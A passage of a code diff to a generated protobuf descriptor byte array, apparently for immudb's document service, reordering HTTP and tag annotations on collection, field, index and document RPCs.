0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, + 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, + 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x17, 0x1a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, - 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x14, 0x2a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, - 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x12, 0x86, 0x01, 0x0a, 0x08, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, - 0x64, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x3b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x98, 0x01, - 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, - 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x44, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x30, 0x2a, 0x2e, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x2f, 0x7b, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, + 0x7d, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x1a, 0x12, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, + 0x65, 0x7d, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a, 0x12, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, + 0x12, 0x86, 0x01, 0x0a, 0x08, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x64, 0x64, + 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x64, 0x64, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x27, 0x3a, 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x2b, 0x22, 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, + 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x98, 0x01, 0x0a, 0x0b, 0x52, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x44, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x30, 0x2a, 0x2e, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x2f, 0x7b, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, + 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x3a, + 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, - 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x4d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x39, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xac, - 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x4c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x38, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xda, 0x01, - 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, - 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, - 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, - 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, - 0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, - 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, - 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 